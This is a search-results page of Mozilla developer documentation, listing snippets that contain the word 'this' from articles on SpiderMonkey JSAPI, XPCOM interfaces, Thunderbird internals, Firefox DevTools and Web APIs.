this header is new, but the semantics it describes are applicable to all recent spidermonkey releases.
...And 3 more matches
JS_Add*Root
obsolete since jsapi 31
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this variable must already be initialized.
...And 3 more matches
JS_BindCallable
this article covers features introduced in spidermonkey 17 bind the given callable to use the given object as
this.
... syntax jsobject* js_bindcallable(jscontext *cx, js::handle<jsobject*> callable, js::handle<jsobject*> new
this); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 3 more matches
JS_CompileScriptForPrincipals
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... principals jsprincipals * pointer to the structure holding the security information for
this script.
...And 3 more matches
JS_ConstructObject
obsolete since jsapi 16
this feature is obsolete.
... a less-preferred short-term solution might be to use
this reimplementation of the method, but note that
this reimplementation is not guaranteed to continue working across spidermonkey releases.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 3 more matches
JS_ConvertArguments
obsolete since jsapi 38
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...obsolete since jsapi 30
this must be an argv pointer created by the js engine and passed to a jsnative or jsfastnative callback, not an array created by application code.
...And 3 more matches
JS_DefineOwnProperty
obsolete since jsapi 33
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 please provide a description for
this function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 3 more matches
JS_EvaluateScriptForPrincipals
obsolete since jsapi 30
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this parameter is documented in detail at js_executescript.
...And 3 more matches
JS_NewExternalString
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this array is used as the character buffer of the jsstring to be created.
...
this must be an id number previously returned by a successful call to js_addexternalstringfinalizer.
...And 3 more matches
JS_NewObject
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if
this is null, an ordinary javascript object is created.
...the usual way to do
this is to make jsclasses global or static.
...And 3 more matches
JS_SetInterruptCallback
this article covers features introduced in spidermonkey 31 set a callback function that is automatically called periodically while javascript code runs.
... callback syntax bool (* jsinterruptcallback)(jscontext *cx); name type description cx jscontext * pointer to a jscontext in which
this callback was installed.
... the callback may use
this context to call jsapi functions, but it should first use js_setinterruptcallback to set the context's interrupt callback to null.
...And 3 more matches
JS_ValueToString
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this might be "nan", "infinity", or "-infinity".
...And 3 more matches
SpiderMonkey 38
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...
this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location.
...
this change better aligns with ecmascript's [[preventextensions]] hook, which generally returns true or false to indicate whether subsequent attempts to add a new property will fail, yet also itself may throw in some cases.
...And 3 more matches
Places Expiration
this means on mobile and old systems expiration will be more aggressive than on high-end hardware, to try keep the database size at a reasonable (and performant) value.
...
this ensures expiration doesn't lag behind without hitting performances when there is no need for it.
... apart
this periodic expiration, there are other steps on idle, on shutdown on clear history.
...And 3 more matches
Using the Places favicon service
creating the favicon service the favicon service's contract id is @mozilla.org/browser/favicon-service;1, so to gain access to the favicon service, you should do something like
this: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); caching the favicon service stores an expiration time for each favicon.
...
this time is used by nsifaviconservice.setandloadfaviconforpage() to determine if the data is fresh or needs reloading from the server.
...
this makes sure that we aren't obsessively reloading favicons into the database for every page viewed, but also that changes in the favicon will be picked up quickly.
...And 3 more matches
Fun With XBL and XPConnect
introduction
this article describes an application of xbl in which a simple xpcom interface is made accessible to a xul widget.
...once the regular xul textfield widget is bound to
this interface, it calls the auto complete function of the object using regular javascript.
...the initial value of
this property evaluates to an xp-connect object.
...And 3 more matches
Generic factory
the new nsigenericfactory interface takes
this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed.
... examples class nsicomponent : public nsisupports { public: ns_imethod dosomething() = 0; }; class mycomponent : public nsicomponent { public: mycomponent(); virtual ~mycomponent(); static ns_method create(nsisupports *aouter, refnsiid aiid, void **aresult); ns_impl_isupports ns_imethod dosomething(); }; to create a factory for
this class, simply write the following: nsifactory* newcomponentfactory(nsirepository* repository) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repository->createinstance(kgenericfactorycid, null, nsigenericfactory::iid(), &factory); if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return fact...
...ory; }
this example assumes that the xpcom repository is available as an interface (which it soon will be).
...And 3 more matches
Receiving startup notifications
see the startup process for details on how
this now works, if you're interested in specifics.
...
this is no longer the case, so be sure to remove that when migrating existing code.
...
this gets enough of xpcom and the application loaded and running that the extension manager can then be loaded and handle installing, uninstalling, and updating any installed extensions.
...And 3 more matches
How to build a binary XPCOM component using Visual Studio
this is a simple tutorial for building xpcom objects in c++ using visual studio.
...
this tutorial uses microsoft’s free visual c++ express and the sample project in the next paragraph.
...i am not defining xpcom_glue and i am linking against xpcomglue_s.lib create an xpcom component a full tutorial of xpcom is beyond the scope of
this posting.
...And 3 more matches
Components.utils.cloneInto
this function provides a safe way to take an object defined in a privileged scope and create a structured clone of it in a less-privileged scope.
... it returns a reference to the clone: var clonedobject = cloneinto(myobject, targetwindow); you can then assign the clone to an object in the target scope as an expando property, and scripts running in that scope can access it: targetwindow.foo = clonedobject; in
this way privileged code, such as an add-on, can share an object with less-privileged code like a normal web page script.
... options : object
this optional parameter is an object with the following optional properties: clonefunctions: a boolean value that determines if functions should be cloned.
...And 3 more matches
NS_InitXPCOM3
you may pass null if you are not interested in
this return value.
...
this parameter may be nsnull.
...some of the possible errors are documented below: ns_error_not_initialized indicates that static globals were not yet initialized, which may happen if
this method is called before xpcom's static initialization code executes.
...And 3 more matches
nsACString_internal
this type is not instantiated directly.
... methods constructors void nsacstring_internal(const nscsubstringtuple&) - source
this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring.
...call
this version when you know the length of 'data'.
...And 3 more matches
nsAString_internal
this type is not instantiated directly.
... methods constructors void nsastring_internal(const nssubstringtuple&) - source
this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring.
...call
this version when you know the length of 'data'.
...And 3 more matches
mozIThirdPartyUtil
this is done as follows: if achannel is an nsihttpchannel and has the 'forceallowthirdpartycookie' property set, then: if auri is null, return false.
...
this represents the case where a toplevel load is occurring and the window's uri has not yet been updated.
...
this is determined by computing the base domain for both uris.
...And 3 more matches
nsIAboutModule
netwerk/protocol/about/nsiaboutmodule.idlscriptable
this interface is implemented to add an 'about:' page.
...if it is, web pages and so forth will be allowed to link to
this about: uri.
... hide_from_aboutabout (1 << 2) a flag that indicates whether
this about: uri doesn't want to be listed in about:about, especially if it's not useful without a query string.
...And 3 more matches
nsIAccessibleDocument
domdocument nsidomdocument the nsidomdocument interface associated with
this document.
... acancreate if true,
this method can create a new accessible.
... native code only!getcachedaccessnode obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
...And 3 more matches
nsIAnnotationObserver
toolkit/components/places/public/nsiannotationservice.idlscriptable please add a summary to
this article.
...its from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void onitemannotationremoved(in long long aitemid, in autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved()
this method is called when an annotation is deleted for an item.
...
this is not called when annotations are expired (normally happens when the application exits).
...And 3 more matches
nsICacheVisitor
netwerk/cache/nsicachevisitor.idlscriptable
this interface provides information about cache devices and entries.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitdevice(in string deviceid, in nsicachedeviceinfo deviceinfo); boolean visitentry(in string deviceid, in nsicacheentryinfo entryinfo); methods visitdevice()
this method is called to provide information about a cache device.
...deviceinfo specifies information about
this device.
...And 3 more matches
nsIContentView
content/base/public/nsiframeloader.idlscriptable represents a scrollable content view whose contents are actually drawn by a separate process;
this is part of the electrolysis multi-process support framework.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with content views for details on how to use
this api.
...support for using
this api for all scrollable elements is coming; see bug 618975 for details.
...And 3 more matches
nsIDOMFile
this allows the file reference to be saved when the form is submitted while the user is using a web application offline, so that the data can be retrieved and uploaded once the internet connection is restored.
...
this is also used by the datatransfer object to describe files dragged into a web application using drag and drop.
... note that in gecko,
this interface currently inherits from nsisupports, but in the file api specification, it should be a blob.
...And 3 more matches
nsIDOMHTMLSourceElement
dom/interfaces/html/nsidomhtmlsourceelement.idlscriptable please add a summary to
this article.
...
this attribute must be present.
... note that dynamically manipulating
this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead.
...And 3 more matches
nsIDOMMozTouchEvent
this provides a mechanism for working with events from touch screens.
...
this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen.
...
this lets you process multi-finger touch gestures and actions.
...And 3 more matches
nsIDOMSimpleGestureEvent
dom/interfaces/events/nsidomsimplegestureevent.idlscriptable
this interface describes a mouse or trackpad gesture event.
...if you only want to receive a single event when the magnify gesture is complete, you only need to hook
this event and can safely ignore the mozmagnifygesturestart and the mozmagnifygestureupdate events.
...if you only want to receive a single event when the rotation gesture is complete, you only need to hook
this event and can safely ignore the mozrotategesturestart and the mozrotategestureupdate events.
...And 3 more matches
nsIDOMWindow2
dom/interfaces/base/nsidomwindow2.idlscriptable
this interface is the primary interface for a dom window object.
... inherits from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen,
this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
... in gecko 7.0
this interface has been merged into nsidomwindow.
...And 3 more matches
nsIDownload
this interface is deprecated as of firefox 26.
... toolkit/components/downloads/public/nsidownload.idlscriptable
this interface describes a download object.
...once the download is complete,
this value is set to null.
...And 3 more matches
nsIDownloadManagerUI
toolkit/components/downloads/public/nsidownloadmanagerui.idlscriptable
this interface is used to implement the user interface for the download manager.
... if you wish to replace the default download manager user interface, implement
this interface.
... constants constant value description reason_user_interacted 0 when opening the download manager user interface,
this value indicates that it's being done at the user's request.
...And 3 more matches
nsIFeedTextConstruct
toolkit/components/feeds/public/nsifeedtextconstruct.idlscriptable
this interface represents rss or atom feed text fields that may contain plain text, html, or xhtml.
... some extension elements also include "type" parameters, and
this interface could be used to represent those as well.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-textconstruct;1, but users usually don't need to create instances of
this directly.
...And 3 more matches
nsIFileInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if
this is set, the file will be deleted by the time the stream is closed.
... close_on_eof 1<<2 if
this is set, the file will close automatically when the end of the file is reached.
... reopen_on_rewind 1<<3 if
this is set, the file will be reopened whenever seek(0) occurs.
...And 3 more matches
nsIHTMLEditor
editor/idl/nsihtmleditor.idlscriptable please add a summary to
this article.
...
this does not rely on the selection, and is not sensitive to context.
...
this could be a collapsed selection, that is, a caret within the link text.
...And 3 more matches
nsILoadGroup
groupobserver nsirequestobserver the group observer is notified when requests are added to and removed from
this load group.
... requests nsisimpleenumerator returns the requests contained directly in
this group.
...
this will cause the default load flags to be applied to the request.
...And 3 more matches
nsIMessageListener
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports
this interface is used to receive messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
...methods void receivemessage(); receivemessage()
this is for js only.
...
this function receives a message from one of the three message-sending functions in the message manager framework: broadcastasyncmessage sendasyncmessage sendsyncmessage.
...And 3 more matches
nsIMessenger
omuri(in acstring auri); nsimsgdbhdr msghdrfromuri(in acstring auri); acstring getmsguriatnavigatepos(in long apos); acstring getfolderuriatnavigatepos(in long apos); void getnavigatehistory(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); note: prior to gecko 8.0, all references to nsidomwindow used in
this interface were nsidomwindow.
... attributes attribute type description transactionmanager nsitransactionmanager readonly: the transaction manager for
this nsimessenger instance.
...if
this window contains a messagepane element (i think
this may mean a xul:browser element with its id set to "messagepane"?), then the nsidocshell will be used for future nsimessenger operations.
...And 3 more matches
nsIMsgAccountManagerExtension
an account manager extension is a xpcom compontent implementing
this interface.
... //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgaccountmanager.idlscriptable please add a summary to
this article.
...
this attribute is readonly!
...And 3 more matches
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify
this filter action.
...
this should be localized.
... */ readonly attribute astring name; /** * is
this custom action valid for a particular filter type?
...And 3 more matches
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchcustomterm.idl attributes id /** * globally unique string to identify
this search term.
...
this should be localized.
... */ readonly attribute astring name; needsbody /// does
this term need the message body?
...And 3 more matches
nsIPipe
xpcom/io/nsipipe.idlscriptable
this interface represents an in-process buffer that can be read using nsiinputstream and written using nsioutputstream.
... methods init() initialize
this pipe.
...
this mode can be useful in some cases, but should always be used with caution.
...And 3 more matches
nsIPrivateBrowsingService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.
...extensions that record potentially private information should use
this interface to detect whether private browsing mode is enabled, and if it is, avoid saving that information.
... for details on how to do
this, see the article supporting private browsing mode.
...And 3 more matches
nsIScriptError2
1.0 66 introduced gecko 2.0 obsolete gecko 12.0 inherits from: nsiscripterror last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) in gecko 12.0
this interface was merged into the nsiscripterror interface.
...
this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...
this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...And 3 more matches
nsISupportsPriority
xpcom/threads/nsisupportspriority.idlscriptable
this interface exposes the general notion of a scheduled object with an integral priority value.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this interface does not strictly define what happens when the priority of an object is changed.
... an implementation of
this interface is free to define the side-effects of changing the priority of an object.
...And 3 more matches
nsITaggingService
to use
this service, use: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); method overview void taguri(in nsiuri auri, in nsivariant atags); void untaguri(in nsiuri auri, in nsivariant atags); nsivariant geturisfortag(in astring atag); n...
... tagcontainericonspec autf8string retrieves the url spec for the tag container icon methods taguri()
this method tags a uri with the given set of tags.
... untaguri()
this method removes tags from a uri.
...And 3 more matches
nsITreeColumns
layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to
this article.
... length long an alias for count (for the benefit of scripts which treat
this as an array).
...nsitreecolumn getcolumnat( in long index ); parameters index index of the column return value a nsitreecolumn for
this index.
...And 3 more matches
nsIUpdateTimerManager
toolkit/mozapps/update/nsiupdatetimermanager.idlscriptable
this interface provides a global application service that provides support for long-duration timers (on the order of many days, weeks, or even months).
... in order to avoid having to instantiate a component to call the registertimer() method, the component can instead register an update-timer category with comma-separated values as a single string representing the timer, like
this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + "preference," + "interval" }],
this allows you to schedule the timer without actually having to instantiate the component; instead, the component is instantiated w...
... method the method used to instantiate the interface;
this should be either getservice or createinstance, depending on your component.
...And 3 more matches
nsIWifiAccessPoint
netwerk/wifi/nsiwifiaccesspoint.idlscriptable
this interface provides information about a single access point.
...
this string is in the format "xx-xx-xx-xx-xx-xx".
...
this string is null if not available.
...And 3 more matches
nsIWinTaskbar
this preview is represented by an nsitaskbarwindowpreview object.
...warning:
this api has undergone changes that are not yet documented.
...
this method is currently known to crash if used under certain conditions.
...And 3 more matches
nsIXULAppInfo
xpcom/system/nsixulappinfo.idlscriptable
this interface provides information about the host application.
...for xulrunner applications,
this will be different than the build id of the platform.
...
this has traditionally been in the form "{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}" but for new applications a more readable form is encouraged: "appname@vendor.tld".
...And 3 more matches
nsIXULRuntime
if a component encounters startup errors that might prevent the app from showing proper ui, it should set
this flag to true.
...
this is taken from the os_target configure variable.
...
this is taken from the moz_widget_toolkit configure variable.
...And 3 more matches
NS_CStringGetMutableData
return values
this function returns the number of characters contained in the string's internal buffer (excluding any null-terminator).
...
this value will be zero if the function failed to resize its internal buffer to the size requested.
... remarks
this function provides mutable access to a string's internal buffer.
...And 3 more matches
NS_StringInsertData
this is a low-level api.
... adata [in] a raw character array to copy into
this string.
... remarks
this function is defined inline as a wrapper around ns_stringsetdatarange .
...And 3 more matches
Troubleshooting XPCOM components registration
if the response is your contract id instead of an error, the component was successfully registered and
this is the wrong page.
...set nspr_log_modules=nsnativemoduleloader:5 set nspr_log_file=c:\path\to\logfile "c:\program files\mozilla firefox\firefox.exe" examining
this log for warning and errors may provide valuable clues why the component failed to load.
...
this should not occur if you uninstalled/installed your extension via the extension manager.
...And 3 more matches
Using nsIPasswordManager
this code is tested, but barely, and i am by no means an expert on
this area.
...zachlipton 22:52, 18 july 2006 (pdt) the code on
this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x.
...getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/url (you'll need
this to retrieve the password again later), a username, and a password.
...And 3 more matches
nsCOMPtr versus RefPtr
this guide provides some explanation and advice on how to choose between them.
...
this basic rule derives from the fact that some of the nscomptr<t> code is factored into the nscomptr_base base class, which stores the underlying mrawptr as an nsisupports*.
... (although, confusingly, debug builds don't work
this way).
...And 3 more matches
Filelink Providers
this document explains how to extend thunderbird to support additional web-based storage services.
...see cloudfile/cloudfilecomponents.manifest for an example, as well as
this document on chrome.manifest files.
... for example, the hightail implementation provides the following function: function extraargs() { var usernamevalue = document.getelementbyid("username").value; return { "username": {type: "char", value: usernamevalue}, }; } in
this example, the username value is read from the input, and then the specially-crafted object is returned.
...And 3 more matches
Mail client architecture overview
warning: the content of
this article may be out of date.
...
this includes management of accounts, folders and messages.
...rdf will use the datasource to create user interfaces based on
this data.
...And 3 more matches
Main Windows
warning:
this content is for older versions of thunderbird.
...the rest is loaded from overlays: mailwindowoverlay.xul
this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
... msghdrviewoverlay.xul shown in blue above (where?),
this overlay consists of three boxes.
...And 3 more matches
Folders and message lists
this object provides many of the functions required for working with folder views.
...when using
this, be sure that there's only one selected message (or that you only care about the first one).
...if a collapsed thread is in there and working with collapsed threads is enabled,
this will include the headers for the messages in that collapsed thread.
...And 3 more matches
Theme Packaging
this document describes how to package themes for thunderbird.
...
this document describes only how themes are packaged in order to be shown in firefox's themes window.
... install.rdf your install.rdf manifest will look something like
this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:type>4</em:type> more properties </description> </rdf> required install.rdf properties your install.rdf file must have the following properties.
...And 3 more matches
customDBHeaders Preference
in addition to the preference outlined in setting up extension development environment, you'll want to add the following preferences: //
this allows you to add extra headers while composing messages user_pref("mail.compose.other.header", "x-superfluous,x-other,x-whatever"); //
this enables the preservation of custom headers as incoming mail is processed user_pref( "mailnews.customdbheaders", "x-superfluous,x-other"); important: please pay careful attention to the case of the mailnews.customdbheaders preference.
...
this is the superfluous.js file referenced from within the superfluous_overlay.xul file: dump(" ~ ~ ~ ~ superfluous ~ ~ ~ ~ \n"); var columnhandler = { getcelltext: function(row, col) { //get the messages header so that we can extract the 'x-superfluous' field var key = gdbview.getkeyat(row); var hdr = gdbview.db.getmsghdrforkey(key); var retval = hdr.getstringproperty("x-sup...
... building the extension for
this extension, i used a directory tree exactly like
this: superfluous/ chrome.manifest install.rdf makefile chrome/ content/ superfluous.js superfluous_overlay.xul here's the makefile: deps:= chrome/ \ chrome.manifest \ chrome/content/ \ chr...
...And 3 more matches
Using popup notifications
for example,
this popup notification is displayed when a web site requests geolocation information:
this lets the user decide whether or not to share their location when it's convenient to do so, instead of being compelled to do it at once.
...
this code module is imported by the browser, so you don't need to do it explicitly yourself.
... then you can create the popup notification at the appropriate time like
this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "
this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", callback: function() { alert("doing something awesome!"); } }, null /* secondary action */ ); in
this case, we aren't providing any secondary actions; that is, actions provided to the user through the drop-down menu.
...And 3 more matches
Virtualenv
this page is mostly a stub for how virtualenv is used at mozilla.
... if you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git if you have pip or easy_install, you can install virtualenv directly from the web: pip install virtualenv # -or- easy_install virtualenv
this will fetch virtualenv from pypi and install it in your site-packages.
... see
this article for details.
...And 3 more matches
Zombie compartments
this page tells you how to detect and avoid zombie compartments, which are a particular kind of memory leak.
...that more fine-graned representation may look like
this │ ├───28.45 mb (05.71%) -- top(https://www.google.de/, id=141) │ │ ├──13.66 mb (02.74%) -- active/window(https://www.google.de/) │ │ │ ├───7.83 mb (01.57%) -- js-compartment(https://www.google.de/) │ │ │ │ ├──3.56 mb (00.71%) -- objects │ │ │ │ │ ├──3.04 mb (00.61%) ++ gc-heap │ │ │ │ │ ├─�...
...
this trailing gunk can be misleading and you shouldn't pay too much attention to it.
...And 3 more matches
Using C struct and pointers
in
this example, we show how to use c structs and pointers with js-ctypes.
... declaring a js-ctypes struct matching a c struct if we have a c structure like
this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like
this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype object that represents the c struct named st_t.
... the first parameter of
this method is the name of the type, which corresponds to the name of the c struct.
...And 3 more matches
Memory - Plugins
« previousnext »
this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in.
...use
this function to allocate memory dynamically.
...use
this function to free memory allocated with npn_memalloc.
...And 3 more matches
Set event listener breakpoints - Firefox Developer Tools
this article explains how to use it.
...if however you have multiple elements, all of which have event listeners attached that you want to break on,
this becomes an enormous time saver.
...
this is also useful when debugging code that you're unfamiliar with, to save time over hunting down your event handler within your code, or when trying to understand why a web site isn't working as expected in your browser.
...And 3 more matches
Dominators - Firefox Developer Tools
this article provides an introduction to the concepts of reachability, shallow versus retained size, and dominators, as they apply in garbage-collected languages like javascript.
... these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing
this will prevent the garbage collector from freeing that extra memory.
...in
this system the heap is represented as one or more graphs.
...And 3 more matches
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
this header is a flex container: each navbar link is a flex item: the nav element within the header is both a flex item and a flex container which holds the navigation links: in the css pane in the css pane's rules view, any instance of a display: flex declaration gets a small flexbox icon next to the word flex.
...the above and below screenshots should give you further hints on how to get to
this.
... flex container options the flex container section of the layout view looks like
this: there are two settings you can change in the flex container section: you can control the color of the overlay by clicking on the small circle next to the selector.
...And 3 more matches
Cookies - Firefox Developer Tools
if the cookie is a session cookie, the value of
this column will be "session" size — the size of the cookie name plus value in bytes.
... httponly — is
this cookie http only?
... secure — is
this cookie a secure cookie?
...And 3 more matches
Web Audio Editor - Firefox Developer Tools
notice:
this tool has been deprecated and will soon be removed from firefox.
...
this gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect.
...
this tool is still experimental.
...And 3 more matches
Firefox Developer Tools
this section contains detailed guides to all of the tools as well as information on how to debug firefox for android, how to extend devtools, and how to debug the browser as a whole.
...
this button only appears when there are multiple iframes on a page.
... click
this button to take a screenshot of the current page.
...And 3 more matches
ANGLE_instanced_arrays - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default and the constants and methods are available without the "angle" suffix.
... despite the name "angle",
this extension works on any device if the hardware supports it and not just on windows when using the angle library.
...And 3 more matches
AesCtrParams - Web APIs
this extra block is called the "counter block".
... typically
this is achieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once).
...
this part of the block gets incremented each time a block is encrypted.
...And 3 more matches
AudioBufferSourceNode - Web APIs
this value is compounded with playbackrate to determine the speed at which the sound is played.
...since no pitch correction is applied on the output,
this can be used to change the pitch of the sample.
...
this value is compounded with detune to determine the final playback rate.
...And 3 more matches
AudioParam.setValueCurveAtTime() - Web APIs
if
this value is lower than audiocontext.currenttime, it is clamped to currenttime.
...the specified values are spaced equally along
this duration.
... return value a reference to
this audioparam object.
...And 3 more matches
AudioParamDescriptor - Web APIs
if the underlying audioworkletprocessor has a parameterdescriptors static getter, then the returned array of objects based on
this dictionary is used internally by audioworkletnode constructor to populate its parameters property accordingly.
...under
this name the audioparam will be available in the parameters property of the node, and under
this name the audioworkletprocessor.process method will acquire the calculated values of
this audioparam.
... automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of
this audioparam.
...And 3 more matches
AudioTrack - Web APIs
setting
this value to false mutes the track's audio.
...
this id can be used to locate a specific track within an audio track list by calling audiotracklist.gettrackbyid().
...public and actors john doe and jane eod."
this string is empty if no label is provided.
...And 3 more matches
BaseAudioContext.createBuffer() - Web APIs
note: createbuffer() used to be able to take compressed data and give back decoded samples, but
this ability was removed from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution.
... numofchannels an integer representing the number of channels
this buffer should have.
... examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use
this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at
this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
...And 3 more matches
characteristic - Web APIs
the bluetoothremotegattdescriptor.characteristic read-only property returns the bluetoothremotegattcharacteristic
this descriptor belongs to.
... browser compatibility the compatibility table on
this page is generated from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 3 more matches
value - Web APIs
this value gets updated when the value of the descriptor is read.
... browser compatibility the compatibility table on
this page is generated from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 3 more matches
CacheStorage - Web APIs
those that aren't using https, although
this definition will likely become more complex in the future.) when testing, you can get around
this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
...use
this method to iterate over a list of all the cache objects.
... examples
this code snippet is from the mdn sw-test example (see sw-test running live.)
this service worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app.
...And 3 more matches
CharacterData - Web APIs
this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, comment, or processinginstruction which aren't abstract.
... characterdata.data is a domstring representing the textual data contained in
this object.
... characterdata.appenddata() appends the given domstring to the characterdata.data string; when
this method returns, data contains the concatenated domstring.
...And 3 more matches
console.log() - Web APIs
note:
this feature is available in web workers.
...
this gives you additional control over the format of the output.
...
this is often useful when trying to see the full representation of the dom js object.
...And 3 more matches
ConstantSourceNode - Web APIs
this makes it useful for cases in which you need a constant value coming in from an audio source.
... properties inherits properties from its parent interface, audioscheduledsourcenode, and adds the following properties: offset an audioparam which specifies the value that
this source continuously outputs.
... some browsers' implementations of
this event handler are part of the audioscheduledsourcenode interface.
...And 3 more matches
Credential Management API - Web APIs
credential management concepts and usage
this api lets websites interact with a user agent’s password system so that websites can deal in a uniform way with site credentials and user agents can provide better assistance with the management of their credentials.
...
this give users capabilities such as seeing the federated account they used to sign on to a site, or resuming a session without the explicit sign-in flow of an expired session.
...
this api is restricted to top-level contexts.
...And 3 more matches
DOMTokenList - Web APIs
domtokenlist.entries() returns an iterator, allowing you to go through all key/value pairs contained in
this object.
... domtokenlist.foreach(callback [,
thisarg]) executes a provided callback function once per domtokenlist element.
... domtokenlist.keys() returns an iterator, allowing you to go through all keys of the key/value pairs contained in
this object.
...And 3 more matches
Document: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
...And 3 more matches
Document.lastModified - Web APIs
syntax var string = document.lastmodified; examples simple usage
this example alerts the value of lastmodified.
... alert(document.lastmodified); // returns: tuesday, december 16, 2017 11:09:42 transforming lastmodified into a date object
